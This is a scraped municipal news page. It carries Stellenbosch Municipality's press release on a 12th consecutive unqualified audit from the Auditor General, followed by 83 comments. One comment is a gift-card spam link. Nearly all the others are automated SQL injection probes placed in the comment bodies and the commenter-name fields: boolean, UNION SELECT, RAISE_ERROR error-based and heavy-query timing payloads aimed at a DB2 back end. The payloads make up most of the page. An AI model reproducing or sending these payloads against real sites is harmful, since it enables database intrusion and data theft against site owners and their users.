Town News|

Statement by Chief Financial Officer, Mr Kevin Carolus
[FOR IMMEDIATE RELEASE]

The Stellenbosch Municipality is once again in a position to report credible and reliable financial and performance results, evidenced by the unqualified audit opinion issued by the Auditor General of South Africa.

The audit outcome reflects that the municipality maintained a healthy financial position year on year. The latest audit outcomes marks the 12th consecutive year of unqualified audit outcomes in Stellenbosch.


An unqualified audit opinion means that our financial statements are fairly and appropriately presented and in compliance with generally recognised accounting principles (GRAP).


“We are proud of the hard work that our councillors and officials are doing to ensure sound financial management practices at the municipality. There is a clear commitment that every cent of municipal spending must be accounted for in a transparent manner. We have instilled a culture of good governance and accountability within our organisation – unmatched when taking into consideration the audit outcomes of many similar municipalities across South Africa. For this, we can indeed be proud and we must continuously work to improve even further,” said Municipal Manager Geraldine Mettler.


The AG reported one area for improvement as far as it relates to the annual financial statements closeout procedures. As part of leadership and management’s continuous commitments to evolve, the municipality has already taken steps to implement the recommendation of the AG in this regard. We would like to thank the AG for their continued support in strengthening compliance in Stellenbosch.


Sound financial management and clean governance builds a municipality that is better equipped to deliver services and creates an environment for jobs and growth that will benefit all communities.

-END-

Media enquiries:
Stuart Grobbelaar T: 021 808 8172 | C: 084 036 1395

83 Replies to “Another thumbs-up from the Auditor General”

  1. Meghan says:

    If you ever visit the Walgreens store, you must Share your review and win a $3000 gift card for free. You can share your Walgreens store review here https://www.walgreenslistens.care/

  2. Anonymous says:

    MQMd

  3. Anonymous says:

    MQMd’) AND 2224=5313 AND (‘JcHr’=’JcHr

  4. Anonymous says:

    MQMd’) AND 3318=3318 AND (‘EYfh’=’EYfh

  5. Anonymous says:

    MQMd’) AND (SELECT CHR(110)||CHR(111)||CHR(77)||CHR(70) FROM SYSIBM.SYSDUMMY1)=’noMF’ AND (‘Keuc’=’Keuc

  6. Anonymous says:

    MQMd’);SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3–

  7. Anonymous says:

    MQMd’) OR 7893=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND (‘vQQs’=’vQQs

  8. Anonymous says:

    MQMd’) UNION ALL SELECT NULL,NULL,NULL FROM SYSIBM.SYSDUMMY1– LZaX

  9. Anonymous says:

    MQMd’) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM SYSIBM.SYSDUMMY1– luar

  10. Anonymous says:

    MQMd’) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM SYSIBM.SYSDUMMY1– JpzC

  11. Anonymous says:

    MQMd’) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM SYSIBM.SYSDUMMY1– XJnF

  12. 'OKsaWp says:

    MQMd

  13. ' AND 4769=4769 AND 'EPib'='EPib says:

    MQMd

  14. AND 4769=4769-- Dfsy says:

    MQMd

  15. ',(SELECT CASE WHEN 7880=7880 THEN 1 ELSE RAISE_ERROR(70001, CHR(117)||CHR(120)||CHR(87)||CHR(83)) END FROM SYSIBM.SYSDUMMY1)-- QxRs says:

    MQMd

  16. ,(SELECT CASE WHEN 3558=4493 THEN 1 ELSE RAISE_ERROR(70001, CHR(73)||CHR(80)||CHR(120)||CHR(70)) END FROM SYSIBM.SYSDUMMY1) says:

    MQMd

  17. ,(SELECT CASE WHEN 7950=7950 THEN '' ELSE RAISE_ERROR(70001, CHR(69)||CHR(72)||CHR(70)||CHR(110)) END FROM SYSIBM.SYSDUMMY1) says:

    MQMd

  18. AND 8570=RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(98)||CHR(106)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (8570=8570) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(118)||CHR(113)||CHR(118)||CHR(113)) says:

    MQMd

  19. AND 8570=RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(98)||CHR(106)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (8570=8570) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(118)||CHR(113)||CHR(118)||CHR(113))-- CFVw says:

    MQMd

  20. ) OR 9377=RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(98)||CHR(106)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (9377=9377) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(118)||CHR(113)||CHR(118)||CHR(113))-- ixTc says:

    MQMd

  21. " OR 9377=RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(98)||CHR(106)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (9377=9377) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(118)||CHR(113)||CHR(118)||CHR(113))-- awDt says:

    MQMd

  22. OR 9377=RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(98)||CHR(106)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (9377=9377) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(118)||CHR(113)||CHR(118)||CHR(113)) says:

    MQMd

  23. OR 9377=RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(98)||CHR(106)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (9377=9377) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(118)||CHR(113)||CHR(118)||CHR(113))-- uCJr says:

    MQMd

  24. RAISE_ERROR(CHR(55)||CHR(48)||CHR(48)||CHR(48)||CHR(49),CHR(113)||CHR(98)||CHR(106)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (9542=9542) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||CHR(113)||CHR(118)||CHR(113)||CHR(118)||CHR(113)) says:

    MQMd

  25. ';SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  26. ));SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  27. %';SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  28. ");SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  29. )) AS zJmU WHERE 5173=5173;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  30. `=``;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  31. ]-(SELECT 0 WHERE 2587=2587;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  32. ' IN BOOLEAN MODE);SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- says:

    MQMd

  33. );SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- FMpb says:

    MQMd

  34. ';SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- qkjV says:

    MQMd

  35. ";SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- HVZm says:

    MQMd

  36. ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 says:

    MQMd

  37. '));SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 AND (('tbcv' LIKE 'tbcv says:

    MQMd

  38. "));SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 AND (("rJUJ"="rJUJ says:

    MQMd

  39. ")));SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 AND ((("bHzJ" LIKE "bHzJ says:

    MQMd

  40. )) AS hIll WHERE 2628=2628;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- TQiQ says:

    MQMd

  41. ) AS VJOB WHERE 1737=1737;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- FFNU says:

    MQMd

  42. ` WHERE 5928=5928;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3-- RDZX says:

    MQMd

  43. ) AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- pncM says:

    MQMd

  44. ') AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- VXBo says:

    MQMd

  45. ))) AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND (((7148=7148 says:

    MQMd

  46. ') AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND ('Idok' LIKE 'Idok says:

    MQMd

  47. '))) AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND ((('uPiQ' LIKE 'uPiQ says:

    MQMd

  48. " AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND "gzvT"="gzvT says:

    MQMd

  49. AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)# DEvb says:

    MQMd

  50. ' AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) OR 'iJHs'='TdEx says:

    MQMd

  51. " WHERE 2462=2462 AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- Soxx says:

    MQMd

  52. '||(SELECT CHR(99)||CHR(79)||CHR(65)||CHR(119) FROM DUAL WHERE 8230=8230 AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3))||' says:

    MQMd

  53. '+(SELECT CHR(70)||CHR(74)||CHR(71)||CHR(78) WHERE 7694=7694 AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3))+' says:

    MQMd

  54. ")) AS rLSR WHERE 1033=1033 AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- NKxK says:

    MQMd

  55. ") AS ENLx WHERE 8877=8877 AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- PgUC says:

    MQMd

  56. ) AS qQLm WHERE 9508=9508 AND 3268=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- spNg says:

    MQMd

  57. ) OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND (6306=6306 says:

    MQMd

  58. OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) says:

    MQMd

  59. ') OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND ('WRrr' LIKE 'WRrr says:

    MQMd

  60. %' OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND 'JzHk%'='JzHk says:

    MQMd

  61. ' OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND 'kSFO' LIKE 'kSFO says:

    MQMd

  62. ") OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND ("lCZV" LIKE "lCZV says:

    MQMd

  63. " OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) AND "RvAF" LIKE "RvAF says:

    MQMd

  64. ' WHERE 5327=5327 OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- ZcmN says:

    MQMd

  65. ||(SELECT CHR(103)||CHR(110)||CHR(81)||CHR(110) WHERE 6505=6505 OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3))|| says:

    MQMd

  66. ")) AS DqlQ WHERE 7852=7852 OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- ZUXK says:

    MQMd

  67. ) AS pZen WHERE 5535=5535 OR 2179=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- Yfvv says:

    MQMd

  68. ) AND 4910=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  69. AND 4910=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  70. "))) AND 4910=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  71. ) WHERE 2702=2702 AND 4910=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  72. '+(SELECT CHR(78)||CHR(88)||CHR(85)||CHR(75) WHERE 4158=4158 AND 4910=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  73. ")) AS RFOE WHERE 8069=8069 AND 4910=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  74. ` WHERE 5918=5918 AND 4910=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  75. " OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  76. ") OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  77. "))) OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  78. " WHERE 4844=4844 OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  79. '+(SELECT CHR(109)||CHR(113)||CHR(109)||CHR(118) WHERE 2034=2034 OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  80. +(SELECT CHR(89)||CHR(113)||CHR(80)||CHR(122) WHERE 2346=2346 OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  81. ') AS jDOw WHERE 1987=1987 OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  82. ) AS dBhd WHERE 7790=7790 OR 1878=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)-- says:

    MQMd

  83. ORDER BY 1-- yEUq says:

    MQMd

Leave a Reply

Your email address will not be published.

Close Search Window